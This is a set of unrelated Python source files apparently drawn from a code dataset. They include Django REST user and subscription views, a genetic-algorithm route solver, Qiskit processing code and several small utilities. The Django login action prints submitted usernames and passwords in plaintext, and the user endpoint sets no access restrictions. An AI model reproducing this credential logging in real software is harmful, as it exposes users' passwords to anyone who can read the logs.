'__iter__', False):\n return value[0]\n else:\n return value\n\ndef appendToList(listDict, keys, value, deduplicate=False):\n '''In place add value to listDict at key.\n If any of them are lists the values in those lists are used as value and\n key. Everything gets added to everything. The optional deduplicate makes\n appendToList only add values that are not yet in the list.\n '''\n if type(value) != list:\n value = [value]\n if type(keys) != list:\n keys = [keys]\n for key in keys:\n part = listDict.get(key, [])\n if deduplicate:\n # filter all that are already in there.\n value = [x for x in value if x not in part]\n listDict[key] = part + value\n\n","sub_path":"mpdlibrary.py","file_name":"mpdlibrary.py","file_ext":"py","file_size_in_byte":8253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"58526842","text":"from rest_framework import viewsets\nfrom django.db.models import Prefetch\nfrom django.db import transaction\nfrom rest_framework.authentication import SessionAuthentication\nfrom rest_framework.permissions import IsAuthenticated, IsAdminUser\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.response import Response\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom .models import Subscription, Address, AddressDuplicate\nfrom .serializers import UserSerializer, SubscriptionSerializer, AddressDuplicateSerializer\nfrom .validate_address import usps_address_validate, remove_legacy_dupicate_records, check_whole_database_for_duplicate_addresses\n\nclass UserViewSet(viewsets.ModelViewSet):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n def perform_create(self, serializer):\n username = serializer.validated_data['email']\n username_exists = User.objects.filter(username=username).exists()\n if not username_exists: \n user = serializer.save()\n login(self.request, user)\n else:\n raise ValidationError({'status': 'email_unavailable'})\n\n @action(detail=False)\n def check_email(self, request):\n username = request.query_params['email']\n username_exists = User.objects.filter(username=username).exists()\n if not username_exists:\n return Response({'status': 'email_available'})\n else:\n return Response({'status': 'email_unavailable'})\n\n\n @action(detail=False, methods=['post'])\n def login(self, request):\n username = request.data['email']\n password = request.data['password']\n user = authenticate(request, username=username, password=password)\n print(username, password)\n if request.user.is_authenticated:\n raise ValidationError({'status': 'already_logged_in'})\n elif user is not None:\n login(request, user)\n return Response({'status': 'login_succeded'})\n else:\n raise ValidationError({'status': 'login_failed'})\n\n @action(detail=False)\n def logout(self, request):\n if request.user.is_authenticated:\n logout(request)\n return Response({'status': 'logged_out'})\n else:\n raise ValidationError({'status': 'no_user_logged_in'})\n\nclass SubscriptionViewSet(viewsets.ModelViewSet):\n queryset = Subscription.objects.all().select_related('address')\n serializer_class = SubscriptionSerializer\n authentication_classes = (SessionAuthentication,)\n permission_classes = (IsAuthenticated,)\n\n def perform_create(self, serializer):\n subscription = serializer.save(user=self.request.user)\n \n def get_queryset(self):\n if self.request.user.is_staff is False:\n queryset = Subscription.objects.filter(user=self.request.user).select_related('address')\n else:\n queryset = Subscription.objects.all().select_related('address')\n return queryset\n\n @action(detail=False)\n def check_usps(self, request):\n return Response(usps_address_validate(request.query_params))\n\nclass AddressDuplicateViewSet(viewsets.ModelViewSet):\n queryset = AddressDuplicate.objects.prefetch_related(Prefetch(\n 'duplicate_addresses', \n queryset=Address.objects.select_related('subscription').prefetch_related('subscription__user').all()\n )).all()\n serializer_class = AddressDuplicateSerializer\n authentication_classes = (SessionAuthentication,)\n permission_classes = (IsAuthenticated, IsAdminUser)\n\n @action(detail=False)\n def check_all(self, request):\n with transaction.atomic():\n check_whole_database_for_duplicate_addresses()\n transaction.on_commit(lambda: self.get_queryset().all())\n return HttpResponseRedirect(self.reverse_action('list'))\n\n @action(detail=False)\n def restore_legacy(self, request):\n with transaction.atomic():\n remove_legacy_dupicate_records()\n transaction.on_commit(lambda: self.get_queryset().all())\n return HttpResponseRedirect(self.reverse_action('list'))\n\n","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"106193059","text":"# The MIT License (MIT)\n\n# Copyright (c) [2014] [Chris Smith]\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport sys\nimport logging\n\nclass LogstashTemplate(object):\n\n def __init__( self, app_host, template_name, es_client ):\n self.logger = logging.getLogger(\"U2ELog\")\n self.app_host = app_host\n self.template_name = template_name\n self.es_client = es_client\n\n def put_template_logstash(self):\n try:\n response = self.es_client.indices.put_template(\n name=self.template_name,\n body={\n \"template\" : \"logstash-*\",\n \"settings\" : {\n \"index.refresh_interval\" : \"5s\"\n },\n \"mappings\" : {\n \"_default_\" : {\n \"_all\" : {\"enabled\" : True},\n \"dynamic_templates\" : [ {\n \"string_fields\" : {\n \"match\" : \"*\",\n \"match_mapping_type\" : \"string\",\n \"mapping\" : {\n \"type\" : \"string\", \"index\" : \"analyzed\", \"omit_norms\" : True,\n \"fields\" : {\n \"raw\" : {\"type\": \"string\", \"index\" : \"not_analyzed\", \"ignore_above\" : 256}\n }\n }\n }\n } ],\n \"properties\" : {\n \"@version\": { \"type\": \"string\", \"index\": \"not_analyzed\" },\n \"geoip\" : {\n \"type\" : \"object\",\n \"dynamic\": True,\n \"path\": \"full\",\n \"properties\" : {\n \"location\" : { \"type\" : \"geo_point\" }\n }\n }\n }\n }\n }\n }\n )\n self.logger.info(\"Put template '%s' elasticsearch response: %s\" % \n (self.template_name, response)\n )\n except:\n self.logger.info(\"ERROR: Unable to create 'logstash' template, can not connect to elasticsearch! es_client:\")\n self.logger.info(self.es_client)\n self.logger.info(sys.exc_info())\n sys.exc_clear()\n sys.exit()\n","sub_path":"u2e_evebox_template.py","file_name":"u2e_evebox_template.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"643073726","text":"import math\r\nimport random\r\nfrom matplotlib import pyplot as plt\r\nimport time\r\n\r\nplt.ion()\r\n\r\n\r\ndef createCities(cSize):\r\n cities = [random.sample(range(100), 2) for x in range(cSize)]\r\n return cities\r\n\r\n\r\ndef createFirstPop(cities, pSize):\r\n routes = []\r\n for i in range(0, pSize):\r\n routes.append(createRandomRoute(cities))\r\n return routes\r\n\r\n\r\ndef createRandomRoute(cities):\r\n route = random.sample(cities, len(cities))\r\n return route\r\n\r\n\r\ndef calculateDistance(x1, y1, x2, y2):\r\n dist = math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)\r\n return dist\r\n\r\n\r\ndef calcFitness(route):\r\n sum = 0\r\n for r in range(len(route)):\r\n # print((r+1)%cSize)\r\n x1 = route[r % cSize][0]\r\n y1 = route[r % cSize][1]\r\n x2 = route[(r + 1) % cSize][0]\r\n y2 = route[(r + 1) % cSize][1]\r\n sum += calculateDistance(x1, y1, x2, y2)\r\n return sum\r\n\r\n\r\ndef mutation(child, mChance):\r\n for gen in child:\r\n if random.randint(1, 101) < mChance:\r\n swap = random.choice([x for x in child if x != gen])\r\n a, b = child.index(gen), child.index(swap)\r\n # print(\"Swapping {} - {}\".format(x, y))\r\n child[b], child[a] = child[a], child[b]\r\n return child\r\n\r\n\r\ndef breeding(par1, par2, mChance):\r\n child = [x for x in range(len(par1))]\r\n numbers = [x for x in range(len(par1))]\r\n picked = []\r\n for gen in range(random.randint(0, len(numbers))):\r\n i = random.choice(numbers)\r\n picked.append(i)\r\n child[i] = par1[i]\r\n for gen in par2:\r\n ind = par2.index(gen)\r\n if ind not in picked and gen not in child:\r\n child[ind] = gen\r\n picked.append(ind)\r\n\r\n for i in [x for x in numbers if x not in picked]:\r\n for gen in [x for x in par2 if x not in child]:\r\n child[i] = gen\r\n picked.append(i)\r\n\r\n child = mutation(child, mChance)\r\n\r\n return child\r\n\r\n\r\ndef newPopulation(routes, eSize, mChance):\r\n rList = [{\"route\": x, \"fit\": calcFitness(x)} for x in routes]\r\n sort = sorted(rList, key=lambda r: r[\"fit\"], reverse=True)[-eSize:]\r\n weightlist = [k for k in sort for dummy in range((sort.index(k) + 1) * 2)]\r\n newPop = []\r\n # for i in weightlist: print(i)\r\n for i in range(len(routes)):\r\n par1 = random.choice(weightlist)\r\n try:\r\n par2 = random.choice([val for val in weightlist if val != par1])\r\n except:\r\n par2 = par1\r\n newPop.append(breeding(par1[\"route\"], par2[\"route\"], mChance))\r\n return newPop, sort[-1:][0]\r\n\r\n\r\ndef redrawTrend(x, y):\r\n plt.figure(3)\r\n plt.cla()\r\n plt.plot(x, y, \"b-\")\r\n plt.draw()\r\n plt.pause(0.001)\r\n\r\n\r\ndef redrawGenChart(i, cities, obj):\r\n cSize = len(cities)\r\n route = obj[\"route\"]\r\n g = obj[\"g\"]\r\n plt.figure(i)\r\n plt.cla()\r\n if i == 2:\r\n text = \"Best Gen \" + str(g)\r\n else:\r\n text = \"Generation: \" + str(g)\r\n plt.title(text)\r\n plt.plot([cities[i % cSize][0] for i in range(cSize + 1)], [cities[i % cSize][1] for i in range(cSize + 1)], \"*b\")\r\n plt.plot([route[i % cSize][0] for i in range(cSize + 1)], [route[i % cSize][1] for i in range(cSize + 1)], \"g-\")\r\n plt.draw()\r\n plt.pause(0.001)\r\n\r\n\r\ndef checkBest(old, new, cities):\r\n if old[\"fit\"] <= new[\"fit\"]:\r\n return old\r\n else:\r\n redrawGenChart(2, cities, new)\r\n return new\r\n\r\n\r\ncSize = 20\r\npSize = 50\r\neSize = 10\r\ngSize = 1000\r\nmChance = 10\r\nx = []\r\ny = []\r\ncities = createCities(cSize)\r\nroutes = createFirstPop(cities, pSize)\r\ncurPop = routes\r\nbest = {}\r\nallbest = {\"fit\": 999999}\r\n\r\nfor g in range(gSize):\r\n if g == 2:\r\n plt.figure(1)\r\n plt.pause(3)\r\n plt.figure(2)\r\n plt.pause(3)\r\n plt.figure(3)\r\n plt.pause(3)\r\n input(\"Press Key to continue...\")\r\n\r\n x.append(g)\r\n newPop, best = newPopulation(curPop, eSize, mChance)\r\n best[\"g\"] = g\r\n y.append(1/best[\"fit\"]*1000)\r\n redrawGenChart(1, cities, best)\r\n allbest = checkBest(allbest, best, cities)\r\n redrawTrend(x, y)\r\n print(\"Generation {} - {}\".format(g, allbest[\"fit\"]))\r\n curPop = newPop\r\n\r\nplt.figure(1)\r\nplt.savefig(\"img/lastGen.png\")\r\nplt.figure(2)\r\nplt.savefig(\"img/bestGen.png\")\r\nplt.figure(3)\r\nplt.savefig(\"img/trend.png\")\r\nplt.show()\r\n","sub_path":"salesperson.py","file_name":"salesperson.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"26328408","text":"import math\ntests =int(input())\nfor test in range(tests):\n D={}\n N=int(input())\n flag=0\n i=1\n if N==0:\n print(\"Case #\",test+1,\": INSOMNIA\",sep='')\n continue\n while flag==0:\n number_string = str((N*i))\n for ch in number_string:\n D[ch]=ch\n if len(D)==10:\n flag=1\n else:\n i=i+1\n print(\"Case #\",test+1,\": \",N*(i),sep='')\n","sub_path":"codes/CodeJamCrawler/16_0_1/AkshaySpeaks/gcjq1.py","file_name":"gcjq1.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"518083469","text":"class Cell :\n\tVISUAL_HIDDEN = '#'\n\tVISUAL_MINE = '*'\n\tVISUAL_NO_MINED_NEIGHBOURS = ' '\n\t\n\n\tdef __init__(self, x, y) :\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.hasMine = False\n\t\tself.visited = False\n\t\tself.visual = VISUAL_HIDDEN\n\t#enddef\n\n\tdef checkNeighbours(self, board, pos_x, pos_y) :\n\t\tpositionNeighbours = [-1,0,1]\n\t\tcount = 0\n\t\tfor i in positionNeighbours :\n\t\t\tfor j in positionNeighbours :\n\t\t\t\tif i == j == 0 :\n\t\t\t\t\tcontinue\n\t\t\t\t#endif\n\n\t\t\t\tneighbour = board.getCellAt((pos_x + i), (pos_y + j))\n\n\t\t\t\tif neighbour == None :\n\t\t\t\t\tcontinue\n\t\t\t\t#endif\n\n\t\t\t\tif neighbour.hasMine :\n\t\t\t\t\tcount = count + 1\n\t\t\t\telse :\n\t\t\t\t\tcheckNextNeighbours(board, (pos_x + i), (pos_y + j))\n\t\t\t\t#endif\n\t\t\t#endfor\n\t\t#endfor\n\n\t\tif count == 0 :\n\t\t\tself.visual = str(VISUAL_NO_MINED_NEIGHBOURS)\n\t\telse :\n\t\t\tself.visual = str(count)\n\t\t#endif\n\t#enddef\n\n\t# Implement method\n\tdef checkNextNeighbours(self, bord, pos_x, pos_y) :\n\t\treturn\n\t#enddef\n\n\tdef revealCell(self) :\n\t\tif self.hasMine :\n\t\t\tself.visual = str(VISUAL_MINE)\n\t\t\treturn False\n\t\t#endif\n\t#enddef\n#endclass","sub_path":"cell.py","file_name":"cell.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"538976374","text":"# -*- coding: utf-8 -*-\n# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom __future__ import annotations\n\nfrom typing import MutableMapping, MutableSequence\n\nimport proto # type: ignore\n\n\n__protobuf__ = proto.module(\n package=\"google.cloud.aiplatform.v1beta1\",\n manifest={\n \"AvroSource\",\n \"CsvSource\",\n \"GcsSource\",\n \"GcsDestination\",\n \"BigQuerySource\",\n \"BigQueryDestination\",\n \"CsvDestination\",\n \"TFRecordDestination\",\n \"ContainerRegistryDestination\",\n },\n)\n\n\nclass AvroSource(proto.Message):\n r\"\"\"The storage details for Avro input content.\n\n Attributes:\n gcs_source (google.cloud.aiplatform_v1beta1.types.GcsSource):\n Required. Google Cloud Storage location.\n \"\"\"\n\n gcs_source: \"GcsSource\" = proto.Field(\n proto.MESSAGE,\n number=1,\n message=\"GcsSource\",\n )\n\n\nclass CsvSource(proto.Message):\n r\"\"\"The storage details for CSV input content.\n\n Attributes:\n gcs_source (google.cloud.aiplatform_v1beta1.types.GcsSource):\n Required. Google Cloud Storage location.\n \"\"\"\n\n gcs_source: \"GcsSource\" = proto.Field(\n proto.MESSAGE,\n number=1,\n message=\"GcsSource\",\n )\n\n\nclass GcsSource(proto.Message):\n r\"\"\"The Google Cloud Storage location for the input content.\n\n Attributes:\n uris (MutableSequence[str]):\n Required. Google Cloud Storage URI(-s) to the\n input file(s). May contain wildcards. For more\n information on wildcards, see\n https://cloud.google.com/storage/docs/gsutil/addlhelp/WildcardNames.\n \"\"\"\n\n uris: MutableSequence[str] = proto.RepeatedField(\n proto.STRING,\n number=1,\n )\n\n\nclass GcsDestination(proto.Message):\n r\"\"\"The Google Cloud Storage location where the output is to be\n written to.\n\n Attributes:\n output_uri_prefix (str):\n Required. Google Cloud Storage URI to output\n directory. If the uri doesn't end with\n '/', a '/' will be automatically appended. The\n directory is created if it doesn't exist.\n \"\"\"\n\n output_uri_prefix: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass BigQuerySource(proto.Message):\n r\"\"\"The BigQuery location for the input content.\n\n Attributes:\n input_uri (str):\n Required. BigQuery URI to a table, up to 2000 characters\n long. Accepted forms:\n\n - BigQuery path. For example:\n ``bq://projectId.bqDatasetId.bqTableId``.\n \"\"\"\n\n input_uri: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass BigQueryDestination(proto.Message):\n r\"\"\"The BigQuery location for the output content.\n\n Attributes:\n output_uri (str):\n Required. BigQuery URI to a project or table, up to 2000\n characters long.\n\n When only the project is specified, the Dataset and Table is\n created. When the full table reference is specified, the\n Dataset must exist and table must not exist.\n\n Accepted forms:\n\n - BigQuery path. For example: ``bq://projectId`` or\n ``bq://projectId.bqDatasetId`` or\n ``bq://projectId.bqDatasetId.bqTableId``.\n \"\"\"\n\n output_uri: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass CsvDestination(proto.Message):\n r\"\"\"The storage details for CSV output content.\n\n Attributes:\n gcs_destination (google.cloud.aiplatform_v1beta1.types.GcsDestination):\n Required. Google Cloud Storage location.\n \"\"\"\n\n gcs_destination: \"GcsDestination\" = proto.Field(\n proto.MESSAGE,\n number=1,\n message=\"GcsDestination\",\n )\n\n\nclass TFRecordDestination(proto.Message):\n r\"\"\"The storage details for TFRecord output content.\n\n Attributes:\n gcs_destination (google.cloud.aiplatform_v1beta1.types.GcsDestination):\n Required. Google Cloud Storage location.\n \"\"\"\n\n gcs_destination: \"GcsDestination\" = proto.Field(\n proto.MESSAGE,\n number=1,\n message=\"GcsDestination\",\n )\n\n\nclass ContainerRegistryDestination(proto.Message):\n r\"\"\"The Container Registry location for the container image.\n\n Attributes:\n output_uri (str):\n Required. Container Registry URI of a container image. Only\n Google Container Registry and Artifact Registry are\n supported now. Accepted forms:\n\n - Google Container Registry path. For example:\n ``gcr.io/projectId/imageName:tag``.\n\n - Artifact Registry path. For example:\n ``us-central1-docker.pkg.dev/projectId/repoName/imageName:tag``.\n\n If a tag is not specified, \"latest\" will be used as the\n default tag.\n \"\"\"\n\n output_uri: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n","sub_path":"google/cloud/aiplatform_v1beta1/types/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":5517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"256228042","text":"import os\nimport numpy as np\n\nfrom pathlib import Path\nfrom typing import List\n\nDIM = 256\n\nTOKENIZER_DIR = Path('tokenizer')\nTOKENIZER_URL = 'https://github.com/JetBrains-Research/identifiers-extractor.git'\nTOKENIZER_VERSION = 'v1.1.0'\n\nDATA_LINK = 'https://drive.google.com/uc?id=1CTO24nZtMyHVQ43mhljfH2qN_QWNIZGo'\nDATA_ARCHIVE = 'data.tar.gz'\nDATA_DIR = Path('data')\nCLUSTERS_FILE = 'clusters.npy'\nTOKENS_FILE = 'tokens.txt'\n\nVALID_STARS = [10, 50, 100]\nREPO_NAMES_FILES = {stars: f'repo_names_{stars}.txt' for stars in VALID_STARS}\nREPO_EMBED_FILES = {stars: f'repo_embed_{stars}.npy' for stars in VALID_STARS}\n\n\ndef embedding_dim() -> int:\n return DIM\n\n\ndef mkdir(path: str) -> None:\n if not os.path.exists(path):\n os.mkdir(path)\n\n if not os.path.isdir(path):\n raise ValueError(f'{path} is not a directory!')\n\n\ndef download_data() -> None:\n os.system(f'gdown {DATA_LINK}')\n mkdir(DATA_DIR)\n os.system(f'tar -xzvf {DATA_ARCHIVE} -C {DATA_DIR} --strip-components 1')\n os.remove(DATA_ARCHIVE)\n\n\ndef get_data_dir() -> Path:\n mkdir(DATA_DIR)\n return DATA_DIR\n\n\ndef get_clusters_file() -> Path:\n filepath = get_data_dir() / CLUSTERS_FILE\n\n if not filepath.exists():\n download_data()\n\n return filepath\n\n\ndef get_tokens_file() -> Path:\n filepath = get_data_dir() / TOKENS_FILE\n\n if not filepath.exists():\n download_data()\n\n return filepath\n\n\ndef is_valid_min_stars(min_stars: int) -> bool:\n return min_stars in VALID_STARS\n\n\ndef get_project_names(min_stars: int) -> List[str]:\n if not is_valid_min_stars(min_stars):\n raise ValueError(f'min_stars should be one of {VALID_STARS}, not {min_stars}')\n\n filepath = DATA_DIR / REPO_NAMES_FILES[min_stars]\n\n if not filepath.exists():\n download_data()\n\n return [line.strip() for line in filepath.open('r')]\n\n\ndef get_project_vectors(min_stars: int) -> np.ndarray:\n if not is_valid_min_stars(min_stars):\n raise ValueError(f'min_stars should be one of {VALID_STARS}, not {min_stars}')\n\n filepath = DATA_DIR / REPO_EMBED_FILES[min_stars]\n\n if not filepath.exists():\n download_data()\n\n return np.load(filepath, allow_pickle=True)\n","sub_path":"similar_repositories/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"165426321","text":"import torch\nimport torchquantum as tq\nimport pathos.multiprocessing as multiprocessing\nimport itertools\n\nfrom qiskit import Aer, execute, IBMQ, transpile, QuantumCircuit\nfrom qiskit.providers.aer.noise import NoiseModel\nfrom qiskit.tools.monitor import job_monitor\nfrom qiskit.exceptions import QiskitError\nfrom torchquantum.plugins import tq2qiskit, tq2qiskit_parameterized\nfrom torchquantum.utils import get_expectations_from_counts, get_provider\nfrom .qiskit_macros import IBMQ_NAMES\nfrom tqdm import tqdm\nfrom torchpack.utils.logging import logger\nfrom qiskit.transpiler import PassManager\n\n\nclass EmptyPassManager(PassManager):\n def run(\n self,\n circuits,\n output_name: str = None,\n callback=None\n ):\n return circuits\n\n\ndef run_job_worker(data):\n while True:\n try:\n job = execute(**(data[0]))\n qiskit_verbose = data[1]\n if qiskit_verbose:\n job_monitor(job, interval=1)\n result = job.result()\n counts = result.get_counts()\n break\n except Exception as e:\n if \"Job was cancelled\" in str(e):\n logger.warning(f\"Job is cancelled manually.\")\n return None\n else:\n logger.warning(f\"Job failed because {e}, rerun now.\")\n\n return counts\n\n\nclass QiskitProcessor(object):\n def __init__(self,\n use_real_qc=False,\n backend_name=None,\n noise_model_name=None,\n coupling_map_name=None,\n basis_gates_name=None,\n n_shots=8192,\n initial_layout=None,\n seed_transpiler=42,\n seed_simulator=42,\n optimization_level=None,\n max_jobs=5,\n remove_ops=False,\n remove_ops_thres=1e-4,\n transpile_with_ancilla=True,\n hub=None,\n ):\n self.use_real_qc = use_real_qc\n self.noise_model_name = noise_model_name\n self.backend_name = backend_name\n self.coupling_map_name = coupling_map_name\n self.basis_gates_name = basis_gates_name\n self.n_shots = n_shots\n self.initial_layout = initial_layout\n self.seed_transpiler = seed_transpiler\n self.seed_simulator = seed_simulator\n self.optimization_level = optimization_level\n self.max_jobs = max_jobs\n self.transpile_with_ancilla = transpile_with_ancilla\n\n self.hub = hub\n self.backend = None\n self.provider = None\n self.noise_model = None\n self.coupling_map = None\n self.basis_gates = None\n self.properties = None\n self.empty_pass_manager = EmptyPassManager()\n\n self.transpiled_circs = None\n\n self.remove_ops = remove_ops\n self.remove_ops_thres = remove_ops_thres\n\n self.qiskit_init()\n\n def get_noise_model(self, name):\n if name in IBMQ_NAMES:\n backend = self.provider.get_backend(name)\n self.properties = backend.properties()\n noise_model = NoiseModel.from_backend(backend)\n else:\n noise_model = None\n\n return noise_model\n\n def get_coupling_map(self, name):\n if name in IBMQ_NAMES:\n backend = self.provider.get_backend(name)\n coupling_map = backend.configuration().coupling_map\n else:\n if name == 'four_all':\n coupling_map = [[0, 1], [1, 0],\n [0, 2], [2, 0],\n [0, 3], [3, 0],\n [1, 2], [2, 1],\n [1, 3], [3, 1],\n [2, 3], [3, 2]]\n else:\n coupling_map = None\n\n return coupling_map\n\n def get_basis_gates(self, name):\n if name in IBMQ_NAMES:\n backend = self.provider.get_backend(name)\n basis_gates = backend.configuration().basis_gates\n else:\n basis_gates = None\n\n return basis_gates\n\n def qiskit_init(self):\n self.backend = None\n self.provider = None\n self.noise_model = None\n self.coupling_map = None\n self.basis_gates = None\n self.properties = None\n\n IBMQ.load_account()\n self.provider = get_provider(self.backend_name, hub=self.hub)\n\n if self.use_real_qc:\n self.backend = self.provider.get_backend(\n self.backend_name)\n self.properties = self.backend.properties()\n self.coupling_map = self.get_coupling_map(self.backend_name)\n else:\n # use simulator\n self.backend = Aer.get_backend('qasm_simulator',\n max_parallel_experiments=0)\n self.noise_model = self.get_noise_model(self.noise_model_name)\n self.coupling_map = self.get_coupling_map(self.coupling_map_name)\n self.basis_gates = self.get_basis_gates(self.basis_gates_name)\n\n def set_layout(self, layout):\n self.initial_layout = layout\n\n def transpile(self, circs):\n if not self.transpile_with_ancilla and self.coupling_map is not None:\n # only use same number of physical qubits as virtual qubits\n # !! the risk is that the remaining graph is not a connected graph,\n # need fix this later\n coupling_map = []\n for pair in self.coupling_map:\n if all([p_wire < len(circs.qubits) for p_wire in pair]):\n coupling_map.append(pair)\n else:\n coupling_map = self.coupling_map\n transpiled_circs = transpile(circuits=circs,\n backend=self.backend,\n basis_gates=self.basis_gates,\n coupling_map=coupling_map,\n initial_layout=self.initial_layout,\n seed_transpiler=self.seed_transpiler,\n optimization_level=self.optimization_level\n )\n return transpiled_circs\n\n def preprocess_parameterized(self,\n q_device,\n q_layer_parameterized,\n q_layer_fixed,\n q_layer_measure,\n x,\n ):\n circ_parameterized, params = tq2qiskit_parameterized(\n q_device, q_layer_parameterized.func_list)\n circ_fixed = tq2qiskit(q_device, q_layer_fixed,\n remove_ops=self.remove_ops,\n remove_ops_thres=self.remove_ops_thres)\n circ = circ_parameterized + circ_fixed\n\n v_c_reg_mapping = q_layer_measure.v_c_reg_mapping\n\n if v_c_reg_mapping is not None:\n for q_reg, c_reg in v_c_reg_mapping['v2c'].items():\n circ.measure(q_reg, c_reg)\n else:\n circ.measure(list(range(q_device.n_wires)), list(range(\n q_device.n_wires)))\n\n transpiled_circ = self.transpile(circ)\n self.transpiled_circs = [transpiled_circ]\n # construct the parameter_binds\n binds_all = []\n for inputs_single in x:\n binds = {}\n for k, input_single in enumerate(inputs_single):\n binds[params[k]] = input_single.item()\n binds_all.append(binds)\n\n return transpiled_circ, binds_all\n\n def process_parameterized(self, q_device: tq.QuantumDevice,\n q_layer_parameterized: tq.QuantumModule,\n q_layer_fixed: tq.QuantumModule,\n q_layer_measure: tq.QuantumModule,\n x,\n parallel=True):\n \"\"\"\n separate the conversion, encoder part will be converted to a\n parameterized Qiskit QuantumCircuit. The remaining part will be a\n non-parameterized QuantumCircuit. In this case, only one time of\n compilation is required.\n\n q_layer_parameterized needs to have a func_list to specify the gates\n\n for parallel:\n JobManager has bugs when submitting job, so use multiprocessing instead\n \"\"\"\n transpiled_circ, binds_all = self.preprocess_parameterized(\n q_device, q_layer_parameterized, q_layer_fixed,\n q_layer_measure, x)\n\n if parallel:\n if hasattr(self.backend.configuration(), 'max_experiments'):\n chunk_size = self.backend.configuration().max_experiments\n else:\n # using simulator, apply multithreading\n chunk_size = len(binds_all) // self.max_jobs\n\n split_binds = [binds_all[i:i + chunk_size] for i in range(\n 0, len(binds_all), chunk_size)]\n\n qiskit_verbose = self.max_jobs <= 6\n feed_dicts = []\n for split_bind in split_binds:\n feed_dict = {\n 'experiments': transpiled_circ,\n 'backend': self.backend,\n 'pass_manager': self.empty_pass_manager,\n 'shots': self.n_shots,\n 'seed_simulator': self.seed_simulator,\n 'noise_model': self.noise_model,\n 'parameter_binds': split_bind,\n }\n feed_dicts.append([feed_dict, qiskit_verbose])\n\n p = multiprocessing.Pool(self.max_jobs)\n results = p.map(run_job_worker, feed_dicts)\n p.close()\n\n if all(isinstance(result, dict) for result in results):\n counts = results\n else:\n if isinstance(results[-1], dict):\n results[-1] = [results[-1]]\n counts = list(itertools.chain(*results))\n else:\n job = execute(experiments=transpiled_circ,\n backend=self.backend,\n pass_manager=self.empty_pass_manager,\n shots=self.n_shots,\n seed_simulator=self.seed_simulator,\n noise_model=self.noise_model,\n parameter_binds=binds_all\n )\n job_monitor(job, interval=1)\n\n result = job.result()\n counts = result.get_counts()\n\n measured_qiskit = get_expectations_from_counts(\n counts, n_wires=q_device.n_wires)\n measured_qiskit = torch.tensor(measured_qiskit, device=x.device)\n\n return measured_qiskit\n\n def process_multi_measure(self,\n q_device: tq.QuantumDevice,\n q_layer: tq.QuantumModule,\n q_layer_measure: tq.QuantumModule,):\n obs_list = q_layer_measure.obs_list\n v_c_reg_mapping = q_layer_measure.v_c_reg_mapping\n circ_fixed = tq2qiskit(q_device, q_layer,\n remove_ops=self.remove_ops,\n remove_ops_thres=self.remove_ops_thres)\n\n transpiled_circ_fixed = self.transpile(circ_fixed)\n\n circ_all = []\n\n for hamil in obs_list:\n circ_diagonalize = QuantumCircuit(q_device.n_wires,\n q_device.n_wires)\n\n # diagonalize the measurements\n for wire, observable in zip(hamil['wires'], hamil['observables']):\n if observable == 'x':\n circ_diagonalize.h(qubit=wire)\n elif observable == 'y':\n circ_diagonalize.z(qubit=wire)\n circ_diagonalize.s(qubit=wire)\n circ_diagonalize.h(qubit=wire)\n\n if v_c_reg_mapping is not None:\n for q_reg, c_reg in v_c_reg_mapping['v2c'].items():\n circ_diagonalize.measure(q_reg, c_reg)\n else:\n circ_diagonalize.measure(list(range(q_device.n_wires)),\n list(range(q_device.n_wires)))\n\n transpiled_circ_diagonalize = self.transpile(circ_diagonalize)\n 